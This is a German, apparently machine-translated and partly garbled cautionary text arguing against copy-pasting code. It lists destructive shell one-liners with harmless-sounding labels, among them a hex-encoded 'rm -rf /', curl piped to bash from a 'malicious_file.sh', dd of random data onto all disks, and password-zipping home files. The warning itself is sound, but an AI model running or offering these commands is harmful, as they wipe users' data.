Ich höre oft Leute, die sich "kopieren und" Codierer nennen. Und während das Kopieren und Einfügen eine legitime Sache ist, sollte es nicht Ihre einzige Möglichkeit sein, Dinge zu tun. Eine bessere Methode besteht darin, Code zu finden, zu sehen, was getan wird, und dann nachzubilden und mit einem minimalen Kopieren zu kopieren, aber genau zu wissen, was es tut.
Hier ist mein kleines Beispiel für Code, der unbeabsichtigte Ergebnisse hat.
"Ausführender Code, den Sie im Internet gefunden haben, ist wie Kaugummi, die Sie in der U -Bahn gefunden haben.
A. vereinfacht die Dokumentsyntax erheblich:
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "B. Freistimmung des unbegrenzten Raums:
du ~ / | grep -o ' /.* ' | xargs rm -r --C. Geben Sie Ihre Dateien nach, um die Effizienz zu verbessern:
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D. verschiebt Dateien/Ordner in ein Volumen mit unbegrenztem Speicher:
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE. Frees to allen unbegrenzten Raum:
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullF. Kauen Sie den Kaugummi, den Sie nicht einmal wissen:
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G. Freigreifende Raum für den unbegrenzten Raum:
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H. Komprimierende Dateien und Speicherplatz speichern:
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *I. Reduzieren Sie das Bedürfnis nach den externen Bänden:
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ. Einfach Ihre Dateien und Ihr Leben:
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K. Behalten Sie die Protokolle von Dateien im Ordner Home unter Verwendung Ihrer aktuellen Dateien auf:
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L. Reduzieren Sie den Speicherplatz, ohne eine Datei zu entfernen:
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/